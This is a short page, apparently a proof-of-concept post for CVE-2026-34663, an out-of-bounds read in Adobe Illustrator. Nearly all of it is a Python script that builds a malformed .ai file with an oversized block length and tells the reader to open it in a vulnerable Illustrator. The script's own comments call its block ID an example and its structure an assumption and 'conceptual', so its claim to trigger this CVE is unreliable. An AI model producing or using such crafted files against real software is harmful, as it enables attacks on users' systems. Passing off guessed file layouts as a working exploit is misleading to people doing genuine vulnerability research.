CVE-2026-34663 Adobe Illustrator越界读取漏洞

import struct # PoC for Adobe Illustrator Out-of-Bounds Read (CVE-2026-34663) # This script generates a malformed file designed to trigger the vulnerability. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a basic header (AI format usually starts with %!PS-Adobe) f.write(b'%!PS-Adobe-3.0\n') # Write a malformed block header # Assuming a specific block structure where 'length' is not validated block_id = 0x4D4C4252 # Example Block ID malicious_length = 0xFFFFFFFF # Large length to trigger OOB read data_size = 0x00000010 f.write(struct.pack('<I', block_id)) f.write(struct.pack('<I', malicious_length)) # Malformed length f.write(struct.pack('<I', data_size)) # Padding data f.write(b'A' * 0x10) # Write specific malformed data that might trigger parsing logic # This is a conceptual representation f.write(b'\x00' * 100) print("[*] Generating malicious Illustrator file...") generate_malicious_file("cve_2026_34663_poc.ai") print("[+] File created: cve_2026_34663_poc.ai") print("[*] Open this file in a vulnerable version of Adobe Illustrator to test.")